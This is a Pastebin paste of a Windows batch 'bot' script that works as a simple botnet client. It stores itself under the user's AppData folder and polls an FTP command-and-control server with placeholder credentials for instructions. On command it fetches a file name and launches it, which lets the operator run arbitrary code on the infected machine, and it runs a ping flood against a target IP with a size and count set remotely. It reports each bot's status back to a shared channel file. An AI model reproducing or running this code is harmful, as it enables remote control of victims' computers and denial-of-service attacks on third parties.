Advertisement
Guest User

Batch Bot by qxvxtc

a guest
Aug 21st, 2019
279
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 5.44 KB | None | 0 0
  1. @echo off
  2. color 01
  3. title bot
  4. set ftp_server_ip=ftp server ip
  5. set ftp_server_username=ftp server username
  6. set ftp_server_password=ftp Server password
  7. set ftp_server_channel=Channel name
  8.  
  9. :check
  10. cd %userprofile%\AppData\Roaming
  11. if not exist batch_shit md batch_shit
  12. cd batch_shit
  13. if not exist check goto create
  14. if exist username_bot.txt set /p username= < username_bot.txt
  15. if not exist username_bot.txt goto create
  16. goto commands
  17.  
  18.  
  19. :create
  20. echo checked > check
  21. (
  22. echo open %ftp_server_ip%
  23. echo %ftp_server_username%
  24. echo %ftp_server_password%
  25. echo cd /htdocs
  26. echo get #%ftp_server_channel%.txt
  27. echo y
  28. echo bye
  29. ) > ftp_script.txt
  30. ftp -s:ftp_script.txt > ftp_scriptt.txt
  31. del ftp_script.txt
  32. del ftp_scriptt.txt
  33.  
  34. if not exist #%ftp_server_channel%.txt goto check
  35.  
  36. set username=cmd%random%%random%
  37.  
  38. echo Bot %username% has joined #%ftp_server_channel% >> #%ftp_server_channel%.txt
  39.  
  40. echo %username% > username_bot.txt
  41.  
  42. (
  43. echo open %ftp_server_ip%
  44. echo %ftp_server_username%
  45. echo %ftp_server_password%
  46. echo cd /htdocs
  47. echo del #%ftp_server_channel%.txt
  48. echo y
  49. echo bye
  50. ) > ftp_script.txt
  51. ftp -s:ftp_script.txt > ftp_scriptt.txt
  52. del ftp_script.txt
  53. del ftp_scriptt.txt
  54.  
  55. (
  56. echo open %ftp_server_ip%
  57. echo %ftp_server_username%
  58. echo %ftp_server_password%
  59. echo cd /htdocs
  60. echo put #%ftp_server_channel%.txt
  61. echo y
  62. echo bye
  63. ) > ftp_script.txt
  64. ftp -s:ftp_script.txt > ftp_scriptt.txt
  65. del ftp_script.txt
  66. del ftp_scriptt.txt
  67.  
  68. del #%ftp_server_channel%.txt
  69. goto check
  70.  
  71.  
  72. :commands
  73. timeout 5
  74.  
  75. (
  76. echo open %ftp_server_ip%
  77. echo %ftp_server_username%
  78. echo %ftp_server_password%
  79. echo cd /htdocs
  80. echo get command.txt
  81. echo y
  82. echo bye
  83. ) > ftp_script.txt
  84. ftp -s:ftp_script.txt > ftp_scriptt.txt
  85. del ftp_script.txt
  86. del ftp_scriptt.txt
  87.  
  88. if not exist command.txt goto commands
  89. set /p command= < command.txt
  90. del command.txt
  91.  
  92. if %command%==pod goto pod-attack
  93. if %command%==start goto start_files
  94. if %command%==quit goto quit
  95. goto commands
  96.  
  97. :start_files
  98. (
  99. echo open %ftp_server_ip%
  100. echo %ftp_server_username%
  101. echo %ftp_server_password%
  102. echo cd /htdocs
  103. echo get start.txt
  104. echo y
  105. echo bye
  106. ) > ftp_script.txt
  107. ftp -s:ftp_script.txt > ftp_scriptt.txt
  108. del ftp_script.txt
  109. del ftp_scriptt.txt
  110.  
  111. set /p start_file= < start.txt
  112.  
  113. del start.txt
  114.  
  115. (
  116. echo open %ftp_server_ip%
  117. echo %ftp_server_username%
  118. echo %ftp_server_password%
  119. echo cd /htdocs
  120. echo get #%ftp_server_channel%.txt
  121. echo y
  122. echo bye
  123. ) > ftp_script.txt
  124. ftp -s:ftp_script.txt > ftp_scriptt.txt
  125. del ftp_script.txt
  126. del ftp_scriptt.txt
  127.  
  128. if not exist #%ftp_server_channel%.txt goto start_files
  129.  
  130. echo Bot %username% start %start_file% #%ftp_server_channel% >> #%ftp_server_channel%.txt
  131. (
  132. echo open %ftp_server_ip%
  133. echo %ftp_server_username%
  134. echo %ftp_server_password%
  135. echo cd /htdocs
  136. echo del #%ftp_server_channel%.txt
  137. echo y
  138. echo bye
  139. ) > ftp_script.txt
  140. ftp -s:ftp_script.txt > ftp_scriptt.txt
  141. del ftp_script.txt
  142. del ftp_scriptt.txt
  143.  
  144. (
  145. echo open %ftp_server_ip%
  146. echo %ftp_server_username%
  147. echo %ftp_server_password%
  148. echo cd /htdocs
  149. echo put #%ftp_server_channel%.txt
  150. echo y
  151. echo bye
  152. ) > ftp_script.txt
  153. ftp -s:ftp_script.txt > ftp_scriptt.txt
  154. del ftp_script.txt
  155. del ftp_scriptt.txt
  156.  
  157. del #%ftp_server_channel%.txt
  158.  
  159. start %start_file%
  160. goto commands
  161.  
  162. :quit
  163. (
  164. echo open %ftp_server_ip%
  165. echo %ftp_server_username%
  166. echo %ftp_server_password%
  167. echo cd /htdocs
  168. echo get #%ftp_server_channel%.txt
  169. echo y
  170. echo bye
  171. ) > ftp_script.txt
  172. ftp -s:ftp_script.txt > ftp_scriptt.txt
  173. del ftp_script.txt
  174. del ftp_scriptt.txt
  175.  
  176. if not exist #%ftp_server_channel%.txt goto quit
  177.  
  178. echo Bot %username% Quited #%ftp_server_channel% >> #%ftp_server_channel%.txt
  179. (
  180. echo open %ftp_server_ip%
  181. echo %ftp_server_username%
  182. echo %ftp_server_password%
  183. echo cd /htdocs
  184. echo del #%ftp_server_channel%.txt
  185. echo y
  186. echo bye
  187. ) > ftp_script.txt
  188. ftp -s:ftp_script.txt > ftp_scriptt.txt
  189. del ftp_script.txt
  190. del ftp_scriptt.txt
  191.  
  192. (
  193. echo open %ftp_server_ip%
  194. echo %ftp_server_username%
  195. echo %ftp_server_password%
  196. echo cd /htdocs
  197. echo put #%ftp_server_channel%.txt
  198. echo y
  199. echo bye
  200. ) > ftp_script.txt
  201.  
  202. del #%ftp_server_channel%.txt
  203. exit
  204. goto commands
  205.  
  206. :pod-attack
  207. (
  208. echo open %ftp_server_ip%
  209. echo %ftp_server_username%
  210. echo %ftp_server_password%
  211. echo cd /htdocs
  212. echo get pod.txt
  213. echo y
  214. echo bye
  215. ) > ftp_script.txt
  216. ftp -s:ftp_script.txt > ftp_scriptt.txt
  217. del ftp_script.txt
  218. del ftp_scriptt.txt
  219.  
  220. < pod.txt (
  221. set /p ip=
  222. set /p bytes=
  223. set /p requests=
  224. )
  225.  
  226. del pod.txt
  227.  
  228. (
  229. echo open %ftp_server_ip%
  230. echo %ftp_server_username%
  231. echo %ftp_server_password%
  232. echo cd /htdocs
  233. echo get #%ftp_server_channel%.txt
  234. echo y
  235. echo bye
  236. ) > ftp_script.txt
  237. ftp -s:ftp_script.txt > ftp_scriptt.txt
  238. del ftp_script.txt
  239. del ftp_scriptt.txt
  240.  
  241. if not exist #%ftp_server_channel%.txt goto pod-attack
  242.  
  243. echo Bot %username% attacking %ip% %bytes% %requests% #%ftp_server_channel% >> #%ftp_server_channel%.txt
  244. (
  245. echo open %ftp_server_ip%
  246. echo %ftp_server_username%
  247. echo %ftp_server_password%
  248. echo cd /htdocs
  249. echo del #%ftp_server_channel%.txt
  250. echo y
  251. echo bye
  252. ) > ftp_script.txt
  253. ftp -s:ftp_script.txt > ftp_scriptt.txt
  254. del ftp_script.txt
  255. del ftp_scriptt.txt
  256.  
  257. (
  258. echo open %ftp_server_ip%
  259. echo %ftp_server_username%
  260. echo %ftp_server_password%
  261. echo cd /htdocs
  262. echo put #%ftp_server_channel%.txt
  263. echo y
  264. echo bye
  265. ) > ftp_script.txt
  266. ftp -s:ftp_script.txt > ftp_scriptt.txt
  267. del ftp_script.txt
  268. del ftp_scriptt.txt
  269.  
  270. del #%ftp_server_channel%.txt
  271.  
  272. ping %ip% /n %requests% -l %bytes%
  273. goto commands
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement